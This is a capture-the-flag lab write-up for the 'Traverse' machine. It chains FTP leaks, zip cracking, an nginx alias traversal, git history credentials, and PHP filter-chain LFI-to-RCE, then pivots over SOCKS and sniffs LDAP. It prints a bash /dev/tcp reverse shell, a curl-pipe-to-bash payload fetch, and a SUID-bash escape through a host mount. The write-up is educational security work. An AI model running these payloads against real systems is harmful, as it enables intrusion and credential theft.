Overview

The machine starts by anonymous ftp access that leaks a protected zip, cracking it to reveal an nginx alias traversal that exposes a git repo, dumping the history to get docs credentials to gain authenticated lfi that chains php filters to rce to get shell as spencer to find an internal docker dashboard. Pivoting via socks to enumerate ldap and sniffing cleartext credentials to get shell as admin on the container, then abusing a shared host mount to drop a suid bash to get shell as root.

Enumeration

We start with an Nmap scan as usual.

The Nmap scan shows that there are 3 open ports

  • FTP on port 21
  • SSH on port 22
  • HTTP on port 80

The FTP allows anonymous authentication, and it has a couple of files that we can read which is a low-hanging fruit we should always start with to get it out of the way. Then there is the HTTP that redirects to traverse.hsm.

So before we move on let's add the hosts entry for the vhost traverse.hsm.

bash
jimmex@attacker :: ~/Traverse ➜ echo '10.1.46.68 traverse.hsm' | sudo tee -a /etc/hosts
10.1.46.68 traverse.hsm

Last thing is doing a full scan to make sure we didn't miss anything nmap -p- 10.1.46.68.

bash
Not shown: 65434 filtered tcp ports (no-response), 98 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

FTP Anonymous Access

FTP most commonly stands for File Transfer Protocol, a standard network protocol used to transfer files between a client and a server over a computer network.

Anonymous access FTP (File Transfer Protocol) is a server configuration that lets users connect and download public files without needing a personal user account or password.

Nmap already confirmed that it can read files as anonymous so let's download those files. There is an image and a directory called devops.

bash
jimmex@attacker :: ~ ➜ ftp 10.1.46.68
Connected to 10.1.46.68.
220 (vsFTPd 3.0.5)
Name (10.1.46.68:jimmex): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||30097|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Sep 22 07:49 devops
-rw-rw-r-- 1 ftp ftp 3507597 Jun 20 2022 mountains-wallpaper-photo.jpg
226 Directory send OK.
ftp>

The devops directory has a zipped file so let's download it as well.

yaml
ftp> cd devops
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||30011|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           829 Sep 22 07:49 content.zip
226 Directory send OK.
ftp> get content.zip
local: content.zip remote: content.zip
229 Entering Extended Passive Mode (|||30005|)
150 Opening BINARY mode data connection for content.zip (829 bytes).
100% |*******************************************************************************************************************************|   829        3.05 MiB/s    00:00 ETA
226 Transfer complete.
829 bytes received in 00:00 (8.99 KiB/s)
ftp> 

The image doesn't matter that much based on the name but it might leak some information.

yaml
ftp> get mountains-wallpaper-photo.jpg
local: mountains-wallpaper-photo.jpg remote: mountains-wallpaper-photo.jpg
229 Entering Extended Passive Mode (|||30059|)
150 Opening BINARY mode data connection for mountains-wallpaper-photo.jpg (3507597 bytes).
100% |*******************************************************************************************************************************|  3425 KiB    4.05 MiB/s    00:00 ETA
226 Transfer complete.
3507597 bytes received in 00:00 (3.65 MiB/s)
ftp> 

Content.zip file

First trying to list what's inside that zip file and as you can see there are two files

  • message.eml, the eml extension is a single mail message saved as a standalone file in a plain-text format.
  • traverse.conf and this is a configuration file that it might be vhost configuration based on the name.
yaml
jimmex@attacker :: ~ ➜ unzip -l content.zip 
Archive:  content.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      278  2026-09-22 07:49   message.eml
      481  2026-04-13 17:36   traverse.conf
---------                     -------
      759                     2 files

When I tried to unzip the files it turns out to be password-protected zip.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ unzip content.zip 
Archive: content.zip
[content.zip] message.eml password: 
   skipping: message.eml             incorrect password
   skipping: traverse.conf           incorrect password

Cracking content.zip password

We can use zip2john to extract the password hash from encrypted zip files then we use that extracted hash in an offline hash-cracking attempt which might lead to the file password if the password is easy and leaked before in one of the password wordlists.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ zip2john content.zip
ver 2.0 efh 5455 efh 7875 content.zip/message.eml PKZIP Encr: TS_chk, cmplen=222, decmplen=278, crc=243D0D6E ts=3E2B cs=3e2b type=8
ver 2.0 efh 5455 efh 7875 content.zip/traverse.conf PKZIP Encr: TS_chk, cmplen=249, decmplen=481, crc=5C8641D2 ts=8C80 cs=8c80 type=8
content.zip:$pkzip$2*1*1*0*8*24*8c80*ed201a0ee956594825e6b82d805328024fbb3032742ad247e65fd829dadf9153a1d9d38a*2*0*de*116*243d0d6e*0*45*8*de*3e2b*378566d3d8a1d23aa37518e6b84
71fe5637db20a636a69a92c49e03b899e85cac1797f9fe60e3de6d4b88d5e2762ec56a6843fac795952d44501b619c5215b41493a93a8285e86da522d67d27fa40cbf5804515d002197d40841bc927e0a5c7f215075e
a956848be895bfde79fcc038f0e3133094ba7a73a50e9cb52b5d46ef58b923afd9612f295f84c43ae665ca36f29323064eb1e5e167d4c797e14407b42d09722cc53799be71c131d2d7e1ca1b447b83f743a26c317341
75ed2a862377c6dadc5a46e5b0b1d48e36f5a48bb10defac338139a0d0e59d7ab0b96e5be*$/pkzip$::content.zip:message.eml, traverse.conf:content.zip
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

Then we use John to crack the hash we just extracted to find out that the password is mountaineers.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ john content.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mountaineers (?)
1g 0:00:00:00 DONE (2026-10-01 10:15) 11.11g/s 5415Kp/s 5415Kc/s 5415KC/s mrkrabs..matchoftheday
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

So now we can really extract the files out of it.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ unzip content.zip
Archive: content.zip
[content.zip] message.eml password:
  inflating: message.eml
  inflating: traverse.conf

Viewing Content.zip content

Starting with the email from spencer@traverse.hsm to devops@traverse.hsm saying that he initialized a repository for the app under /opt/app so now we know that there is .git/HEAD under /opt/app and as tiny as that might seem it is a very good piece of information that we can convert later to something we can actually use.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ cat message.eml
From: spencer@traverse.hsm
To: devops@traverse.hsm
Subject: Repository status
Date: Mon, 13 Apr 2026 17:30:00 +0000
Content-Type: text/plain; charset="UTF-8"

The repository in /opt/app has been initialized.

--
Spencer Tomkins
Senior DevOps Engineer
Traverse Outdoor Equipment

Then as expected this is configuration for the vhost traverse.conf that maps the entire application.

Explaining the configuration file

Based on this configuration there are two big clues that we can use

  • The Nginx config has an alias directive for /assets pointing to /opt/app/static/
  • The email confirms that /opt/app is a git.

So how can we use that to do something useful? the idea is in this directive

plaintext
location /assets {
    alias /opt/app/static/;
}

When Nginx matches a location prefix it doesn't require the matched text to end at a / boundary it just needs it to start with /assets so a user that can request /assets../<path starts from this point> literally still matches the location /assets block just because it starts with /assets.

What Nginx does internally:

  • It matches the prefix /assets against the request URI.
  • It takes whatever comes after that matched prefix ../.git/HEAD and appends it directly onto the alias path.
  • So the final path becomes: /opt/app/static/ + ../.git/HEAD = /opt/app/static/../.git/HEAD
  • and the file system resolves static/../ back to /opt/app landing us in that /opt/app where we know that there is a .git/HEAD

Nginx doesn't sanitize or normalize that trailing part against the alias boundary, it is a pure string concatenation.

side note that might be useful for you: this is different from something like root directive because root appends the whole original URL to the root path rather than just the post-match part so the

Port 80

Viewing the website it is a static page, there isn't much we can do.

Fuzzing the website we see this assets directory that our idea revolves around and two other directories (the deploy we don't have access to).

So doing wget for <SNIP>/assets../.git/HEAD will resolve on the system to /assets/../.git/HEAD and /assets is an alias for /opt/app/static so we should get an actual HEAD file.

As you can see we actually got the HEAD reference.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ wget http://traverse.hsm/assets../.git/HEAD
--2026-10-01 10:26:08-- http://traverse.hsm/assets../.git/HEAD
Resolving traverse.hsm (traverse.hsm)... 10.1.46.68
Connecting to traverse.hsm (traverse.hsm)|10.1.46.68|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23 [application/octet-stream]
Saving to: ‘HEAD’

HEAD 100%[========================================================================================>] 23 --.-KB/s in 0s

2026-10-01 10:26:08 (1.99 MB/s) - ‘HEAD’ saved [23/23]

┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ cat HEAD 
ref: refs/heads/master

Repo Reconstruction

If you're not familiar with how Git works, it is important to know this. Every file, folder structure, and commit in Git is treated as an object and saved inside the .git/objects/ folder. Git compresses each object and names the file using a unique 40-character SHA-1 hash based on its content. Then there is the .git/index which is a complete manifest layout of the current project. It maps every single human-readable file path (like src/login.php) directly to its current object hash.

Because developers always forget .git files exposed and the structure of the .git is fixed so there is always index file and there is always HEAD we can use this information to reconstruct the entire repository using a tool called git-dumper.

How does it work? It downloads the index file first to get the list of all file names and their hashes then loops through each hash to download the raw object file straight from the server then uncompresses those hashes back into original code files.

Enough said about that, the tool takes two arguments URL output_folder and as you can see it does the magic and reconstructed the entire repository.

Looking at the application now there is the deploy directory we saw earlier.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse/opt-app]
└──╼ [★]$ ls -la
total 12
drwxrwxr-x 1 jimmex jimmex 72 Oct 1 10:27 .
drwxrwxr-x 1 jimmex jimmex 286 Oct 1 10:26 ..
drwxrwxr-x 1 jimmex jimmex 42 Oct 1 10:27 deploy
drwxrwxr-x 1 jimmex jimmex 128 Oct 1 10:27 .git
-rw-rw-r-- 1 jimmex jimmex 82 Oct 1 10:27 .gitignore
-rw-rw-r-- 1 jimmex jimmex 6389 Oct 1 10:27 index.html
drwxrwxr-x 1 jimmex jimmex 16 Oct 1 10:27 static

Looking in the environment file we see that there is another vhost DOCS_BASE_URL=http://docs-0eoyfsyajxs.traverse.hsm but this is an example file so the username and password are omitted but there is a good chance they were removed from one commit but still exist in an old commit.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse/opt-app/deploy/environments]
└──╼ [★]$ cat docs-development.env.example
DOCS_ENV=development
DOCS_BASE_URL=http://docs-0eoyfsyajxs.traverse.hsm
DOCS_USERNAME=
DOCS_PASSWORD=
DOCS_RENDERER=legacy

Listing the logs for the repo to go through the commits one by one trying to find credentials.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse/opt-app]
└──╼ [★]$ git log
commit d708e3e6c40d710b53059c29fc9d19df80cbf787 (HEAD -> master)
Author: Spencer Tomkins < spencer@traverse.hsm>
Date:   Tue Apr 14 09:12:00 2026 +0000

    Document web deployment workflow

commit cff44e123f6eca9a71e4c0cc98b13f9df64caad2
Author: Spencer Tomkins < spencer@traverse.hsm>
Date:   Mon Apr 13 18:06:00 2026 +0000

    Move environment credentials to deployment

commit 539a855d73ae141fea971b7b705dfd4af222bd69
Author: Spencer Tomkins < spencer@traverse.hsm>
Date:   Mon Apr 13 17:41:00 2026 +0000

    Initialize Traverse web repository

And as you can see we found creds for the user spencer.

bash
diff --git a/deploy/environments/docs-development.env b/deploy/environments/docs-development.env.example
similarity index 64%
rename from deploy/environments/docs-development.env
rename to deploy/environments/docs-development.env.example
index 3e53430..ab131a5 100644
--- a/deploy/environments/docs-development.env
+++ b/deploy/environments/docs-development.env.example
@@ -1,5 +1,5 @@
 DOCS_ENV=development
 DOCS_BASE_URL=http://docs-0eoyfsyajxs.traverse.hsm
-DOCS_USERNAME=spencer
-DOCS_PASSWORD=Ridg<HEY BEHAVE>
+DOCS_USERNAME=
+DOCS_PASSWORD=
 DOCS_RENDERER=legacy
:

There is also README file that documentation service remains on the existing renderer and based on the vhost I guess this is what is meant by it so there is a legacy renderer on that vhost based on the env file and this README.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Traverse/opt-app/deploy]
└──╼ [★]$ cat README.md
# Deployment

Environment-specific values are provisioned during deployment.

The employee documentation service remains on the existing renderer until the publishing migration is complete.

Access as spencer on docs

Adding the docs vhost to the hosts file then visiting the page there is a login form.

Trying spencer credentials we're in.

Clicking around the site to find anything actionable, as you can see these tabs render PHP files from a directory called pages and I bet this is the legacy renderer the README was talking about and because it is legacy we might find an attack vector here.

LFI to read source code

First thing we look for when we see a PHP renderer like this is LFI where we can use the unsafe input in the rendered page parameter to view other files we're not supposed to see.

The thing about LFI that you have to find the pattern to know where to look and what to do.

I will start with the most basic test which is reading a file I know exists 100% /etc/passwd but we get 400 Bad Request, and as I said we need to find a pattern.

This 400 might happen for a lot of reasons like blocked character, suspicious activity block that returns 400 so we need to narrow it down.

A good test to eliminate reasons is to compare difference between a valid file you know exists and one that doesn't exist so let's do that.

So we know that this file-operation.php file exists and it is mapped on the website so it returns 200 OK.

But we also know that this asdasdasdasdasd.php file doesn't exist 100% but it still returns 200 OK so the site doesn't really care about whether the file exists or not (status-code-wise).

If you looked at this asdasdasdasasd.php and file-operations.php the only thing that exists in both files is the extension so there is a very good chance that it only cares about whether the file ends in .php or not so let's test that theory.

As you can see file-operation without the .php returns 400 Bad Request and you might think this is because this file doesn't exist but so does the asdasasdasd.php. And just like that we kind of figured out what is going on in the backend.

  • This parameter cares only about whether the parameter ends in .php or not.

This is one step forward, what if we try to read source code via filters? Just because we know the param cares about the .php param doesn't mean it doesn't block other behaviors but we have to try that's because how we figure out stuff so let's do that as well.

Trying base64 PHP filter on a file that we know exists and as you can see we got the file base64 that we can base64 decode to read the source code (the getting-started is just an HTML not actual PHP).

Doing the same with doesnotexist.php just to know the size of the response of the file that doesn't exist so we can filter it out when we fuzz for files.

So fuzzing for files that end with .php in the same path as whatever renders those pages. And we find two files auth.php and bootstrap.php.

So we'll just get the base64 of the file and decode it.

Reading the auth.php there isn't much here, no injection bugs or anything but there are two things that jump out of this code. The file references APP_USER and APP_PASSWORD_HASH but doesn't define them or import them from anywhere but I bet they are almost certainly in the bootstrap file because it gets included automatically before any file runs.

And those variables might have creds that we use somewhere else (not SSH though cause it doesn't accept password authentication at all).

And as you can see we got the username and hash we were looking for in the bootstrap.php but this password isn't crackable so let's move on.

bash
┌─[]─[10.200.102.0]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ cat bootstrap.php
< ?php
declare(strict_types=1);

const APP_NAME = 'Traverse Field Manual' ;
const APP_USER = 'spencer' ;
const APP_PASSWORD_HASH = '$2y$10$QZOeIv9DK06H9YtyN4AA7e/8wZmYTyrrp7sOoeUgD.vI2pOQN3ovG' ;

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_name('TRAVERSESESSID');
    session_start();
}

require_once __DIR__ . '/auth.php' ;
require_once __DIR__ . '/renderer.php' ;

At this point all we need to do is to find the code that renders those pages to know what it blocks and what it doesn't block (I mean we can also fuzz this behavior but I don't like doing that). Based on the repo and the environment they refer to it as renderer? And when I looked in the wordlists I didn't find any one of them that mentions this as a word so let's try it.

bash
jimmex@attacker :: ~/Traverse ➜ cat /opt/SecLists/Discovery/Web-Content/raft-small-words.txt | grep renderer
jimmex@attacker :: ~/Traverse ➜ cat /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt | grep renderer
jimmex@attacker :: ~/Traverse ➜ cat /opt/SecLists/Discovery/Web-Content/raft-large-words.txt | grep renderer
jimmex@attacker :: ~/Traverse ➜ 

Usually the main page is called index.php but not in this case as you can see it is called renderer.php so finally we have its source code.

Looking at the source code it blocks some wrappers http:, https:, ftp:, ftps:, file:, data:, phar:, zip:, rar:, expect:, glob:, ssh2:, compress.zlib:, compress.bzip2:. But the php://filter isn't blocked? Kidding that's how we got here in the first place. Then it doesn't block filter chains convert.iconv.* so we can use that to get RCE.

Filter Chain RCE

We'll use a tool called php_filter_chain_generator.py created by Synacktiv which has a very good blog explaining this behavior that I will list in the resources.

PHP filter chains abuse convert.iconv.* encoding conversions with base64 encode/decode to smuggle arbitrary PHP code through php://filter, turning an LFI into RCE without file upload.

This depends on the convert.iconv.* being available and allowed that's why we checked the source code.

The convert.iconv.* filters are available, if iconv support is enabled, and their use is equivalent to processing all stream data with iconv(). These filters do not support parameters, but instead expect the input and output encodings to be given as part of the filter name, i.e. either as convert.iconv.<input-encoding>.<output-encoding> or convert.iconv.<input-encoding>/<output-encoding> (both notations are semantically equivalent).

We'll use the script to get the chain that we'll pass to ?page=<CHAIN> and it executes code for us. Sometimes it returns 500 internal error even though it executed code so it is always better to test for it blindly invoking a web request or a ping command.

Now if we try to use this chain we'll get 400 Bad Request, so back to the first thing we found is that it really cares that much about the input being ended with .php extension and the tool defaults the resource to php://temp and it doesn't end in .php so it errors 400 because it fails this check str_ends_with($value, '.php').

But to fix that we can change the last part of the resource to resource=auth.php or any file we know exists instead of temp.

So let's start our tcpdump.

bash
┌─[]─[10.200.102.0]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
^C
0 packets captured
0 packets received by filter
0 packets dropped by kernel

Then invoke the chain after changing the resource to something that ends with .php and as you can see we got pings back so let's use that to get a shell.

Shell as traverse-docs

So we can get a reverse shell chain using the tool just changing the command.

But when we pass that as is we get 414 because the URI is too large to be processed by the server. The chain gets massively larger just by adding a character (compared to the URI maximum characters) and it makes it harder to get a shell on the system.

So to make this work we need to minimize the URI by minimizing the command as much as possible. Instead of writing the command itself, we can host a bash file that holds the shell and call it using curl and execute it and maybe call the file something like rv to minimize the name used in the call as well and look at the difference.

bash
bash -c "bash -i >& /dev/tcp/10.200.102.0/4444 0>&1"
curl -s -L 10.0.0.1/rv|bash

And also instead of using <?php ?> we can use <?= ?> which has the same effect but fewer characters so let's do that as well.

So we'll write this script on our attacker and host it on HTTP using python3 -m http.server 80

bash
┌─[]─[10.200.102.0]─[jimmex@attacker]─[~/HSM/Traverse]
└──╼ [★]$ cat rv
bash -i > & /dev/tcp/10.200.102.0/4444 0>&1

Then we'll request the file and pipe it to bash and you can see the massive difference.

Using this chain you'll see that we get a call on the HTTP server then it reflects a shell on our listener.

BTW don't forget the same thing must be changed to something ending with .php and preferably auth.php because it is shorter.

SSH as spencer

Once we're on the system, we know the spencer's password but we know it wasn't usable with SSH because it needed an SSH key instead so let's switch the user using the password and as you can see we drop into spencer's context.

yaml
traverse-docs@ip-10-1-46-68:/home$ su spencer
Password: 
spencer@ip-10-1-46-68:/home$ cd ~

Where we can read the user's flag.

bash
spencer@ip-10-1-46-68:~$ cat user.txt 
   ______________________________
 / \                             \.
| | user flag, obtained. | .
 \_ | | .
    | | .
    | | .
    | | .
    | | .
    | | .
    | _________________________|___
    | / /.
    \_/____________________________/.

HSM{944a160dcc7deb2<NOPE>}
spencer@ip-10-1-46-68:~$

First let's drop an SSH key for a better shell.

bash
spencer@ip-10-1-46-68:~/.ssh$ ssh-keygen -t ed25519 -f ./id_rsa
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:S8iHcZoVJfTHdn2Oi4M/IW0mZqzlKi2NJA1eMe6YTjU spencer@ip-10-1-46-68
The key's randomart image is:
+--[ED25519 256]--+
| .+.. |
| o + . . |
| ..oo . + . o|
| ..EO o . o.|
| . O*.S. . . .|
| * +o .B.=. . |
| o o +.*.=o.. |
| . + + .... |
| o.. .. |
+----[SHA256]-----+
spencer@ip-10-1-46-68:~/.ssh$

And as you can see we SSH in as spencer.

Enumerating Internal Network

First thing we find is this note from spencer to himself saying that there is a management dashboard running on the network 172.20.0.0/24 but it isn't out for production yet.

bash
spencer@ip-10-1-46-68:~$ cat notes.txt 
Note to self:

Docker container running the management dashboard on the 172.20.0.0/24 network for nyc-pweb03 system. After final testing I should move this out to prod officially.
bash
spencer@ip-10-1-46-68:~$ for i in {2..254}; do (ping -c 1 -W 1 172.20.0.$i > /dev/null 2>&1 && echo "[+] 172.20.0.$i is UP" ) & done 2>/dev/null; wait
[+] 172.20.0.10 is UP   

So we'll use a basic bash command to iterate over the subnet to find which host is up and as you can see the .10 is up so let's use SSH to do dynamic forwarding which leverages SOCKS protocol to proxy traffic so we can access the internal network.

We'll type ~ then C (capital C) which will drop us in the SSH command line where we can do a lot of forwarding but we need to do the -D for dynamic and the port number which is 1080 (that's how I have my proxychains configured and it is the default you can check yours under /etc/proxychains.conf and look for sock5 line and see which port it is mapped to).

bash
spencer@ip-10-1-46-68:~$
ssh> -D 1080
Forwarding port.

spencer@ip-10-1-46-68:~$

Now we can do this to scan the open ports on the docker container.

bash
proxychains nmap -vv 172.20.0.10 -oA docker.nmap

Looking at the results there are only two open ports SSH and HTTP.

bash
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
22/tcp   open  ssh        syn-ack
8080/tcp open  http-proxy syn-ack

We'll fetch the page headers and it is a Flask application.

yaml
spencer@ip-10-1-46-68:~$ curl -I http://172.20.0.10:8080
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.10.12
Date: Thu, 01 Oct 2026 17:09:23 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3698
Vary: Cookie
Connection: close

Internal Network

We're still doing dynamic port forwarding so we can use our FoxyProxy to add profile forwarding all the traffic up to the SOCKS stream just like this.

Then we can just visit it from the browser.

When you visit the website you'll find that it takes a lot of time to load the content and that's because we're forwarding traffic through a SOCKS proxy to the target and that target doesn't have internet access to fetch the google fonts and the tailwindcss which will take a lot of time to timeout then loads the content but it is intolerable if this will happen on each request.

So you can open the network tab (F12) and right click on those two requests and block them.

Then refresh the page and as you can see they don't load anymore and everything is smoother (UI sucks though but we can work with that).

you have to keep network tab open

Back to the site we see that we can login over LDAP which confirms what I saw earlier port 389 running on the target (isn't exposed externally).

Here is the port:

bash
spencer@ip-10-1-46-68:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 32 0.0.0.0:21 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 2048 0.0.0.0:389 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 [::]:22 [::]:*
LISTEN 0 511 [::]:80 [::]:*
spencer@ip-10-1-46-68:~$

When we try the credentials for spencer we get invalid credentials so let's take a look at the LDAP.

LDAP

So working with LDAP I will first try the anonymous bind for the base scope and as you can see the bind is successful so we can connect to that port without credentials.

bash
spencer@ip-10-1-46-68:~$ ldapsearch -x -H ldap://127.0.0.1:389 -s base
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
objectClass: top
objectClass: OpenLDAProotDSE

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

So when I try to list all objects under the base dc=traverse,dc=hsm we get that there is no such object so the issue is just to find the naming contexts for this directory.

bash
spencer@ip-10-1-46-68:~$ ldapsearch -x -H ldap://127.0.0.1:389 -b 'dc=traverse,dc=hsm' "*"
# extended LDIF
#
# LDAPv3
# base <dc=traverse,dc=hsm> with scope subtree
# filter: (objectclass=*)
# requesting: * 
#

# search result
search: 2
result: 32 No such object

# numResponses: 1

And we can do that using -s base namingcontexts to find out that the naming is dc=nodomain so now we're good to dump the entire domain information.

LDAP namingContexts advertised on the rootDSE lists the base DNs you can enumerate when the default base returns no such object.

bash
spencer@ip-10-1-46-68:~$ ldapsearch -x -H ldap://127.0.0.1:389 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingContexts: dc=nodomain

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
spencer@ip-10-1-46-68:~$

Doing that we got some information:

  • There are two users in this directory spencer and web_admin.
  • The web_admin mail is webadmin@traverse.hsm.
  • Each password has a base64-encoded blob under the attribute userPassword.

When we decode these blobs we find out that they're SSHA hashes which stands for Salted Secure Hash Algorithm and it is a hashing algorithm commonly used for securing and storing passwords, particularly in LDAP (Lightweight Directory Access Protocol) directory servers and older system architectures.

bash
spencer@ip-10-1-46-68:~$ echo 'e1NTSEF9RVZCKzBBblVyRGc4T3Q4c2JOdFUrdzBqME1keXRqWEY=' | base64 -d; echo
{SSHA}EVB+0AnUrDg8Ot8sbNtU+w0j0MdytjXF
spencer@ip-10-1-46-68:~$ echo 'e1NTSEF9d0JNb2dxQUZiUnZkcWJNTUtqNEovalR6YlVQOUtSVkU=' | base64 -d; echo
{SSHA}wBMogqAFbRvdqbMMKj4J/jTzbUP9KRVE
spencer@ip-10-1-46-68:~$

We can crack those passwords using hashcat mode 111 and we cracked only the webadmin password as you can see.

Hashcat mode 111 cracks Salted SHA-1 (SSHA), the {SSHA} LDAP format which is base64-encoded SHA-1(password + salt) plus salt.

bash
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

{SSHA}EVB+0AnUrDg8Ot8sbNtU+w0j0MdytjXF:traverse15
Approaching final keyspace - workload adjusted.

Access as webadmin on Port 8080

Where we can login to find that there isn't much functionality that we can test, but there is a single button to check LDAP connection and it actually invokes a POST request to /ldap_check endpoint.

And it also leaks that the system username on the docker is admin not webadmin.

Sniffing LDAP traffic

At this point I got stuck for a while doing a lot of fuzzing for any files and also trying to send data with the POST request cause I thought this is testing the connectivity using a command or something and we can test command injection until the famous mHiluxS hinted me to look for the capabilities on the system and I did to find out that we have /usr/bin/tcpdump cap_net_admin,cap_net_raw=ep on tcpdump.

bash
spencer@ip-10-1-46-68:/opt/venv$ getcap -r / 2>/dev/null
/snap/core22/2411/usr/bin/ping cap_net_raw=ep
/snap/snapd/27738/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
/snap/snapd/26382/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/tcpdump cap_net_admin,cap_net_raw=ep
spencer@ip-10-1-46-68:/opt/venv$

These two capabilities are very important for tools like Wireshark and tcpdump.

  • CAP_NET_RAW is needed so dumpcap can open RAW sockets to physically capture and look inside the passing raw data packets.
  • CAP_NET_ADMIN is needed so dumpcap can force your network interface card into promiscuous mode. Without this, your computer would ignore any network traffic not specifically addressed to its own IP.

And because the application specifically says that it does LDAP check not LDAPS! We can try to sniff this traffic while invoking the check and maybe it sends credentials that we can intercept.

First we'll need the interface name as well.

yaml
4: br-b601360b6ecb: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether c2:62:97:62:af:b4 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.1/24 brd 172.20.0.255 scope global br-b601360b6ecb
       valid_lft forever preferred_lft forever
    inet6 fe80::c062:97ff:fe62:afb4/64 scope link 
       valid_lft forever preferred_lft forever

Then we'll start our listener to listen for port 389 on that interface.

bash
spencer@ip-10-1-46-68:/opt/venv$ tcpdump -i br-b601360b6ecb -A -s 0 -n port 389 18:22 [48/31]
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on br-b601360b6ecb, link-type EN10MB (Ethernet), snapshot length 262144 bytes

And when we invoke the check we'll capture the admin password.

SSH as admin on nyc-pweb03

And we can use those creds to get access as admin on the docker.

Shell as root on nyc-pweb03

When we try sudo -l we'll find that we can execute any command as sudo and we'll use that to drop into a root shell sudo -i.

bash
admin@nyc-pweb03:~$ sudo -l
[sudo] password for admin: 
Sorry, try again.
[sudo] password for admin: 
Matching Defaults entries for admin on nyc-pweb03:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User admin may run the following commands on nyc-pweb03:
    (ALL) ALL
admin@nyc-pweb03:~$

Looking at the mounts on the system we find this /mnt/share which has this /dev/root /mnt/share ext4 rw,relatime,discard,errors=remount-ro,commit=30 0 0. The device /dev/root is being mounted which is an alias that resolves to whatever the actual boot disk partition to the mount point /mnt/share since it is the same physical partition mounted twice at two different points anything under the /mnt/share on the host is literally the same bytes as the corresponding path on /.

When the host's root filesystem (/dev/root) is also mounted inside the container (e.g. at /mnt/share), writing a SUID binary there exposes the same file on the host and yields host root.

So this means whatever we write to this mount we'll get reflected with the same permission on the actual host so we'll write a bash binary with SUID set on it.

bash
root@nyc-pweb03:/var/www/dashboard# cp /bin/bash /mnt/share/rootbash
root@nyc-pweb03:/var/www/dashboard# chown root:root /mnt/share/rootbash
root@nyc-pweb03:/var/www/dashboard# chmod 4755 /mnt/share/rootbash
root@nyc-pweb03:/var/www/dashboard#
bash
spencer@ip-10-1-46-68:~$ ls /var/share/
rootbash test.txt
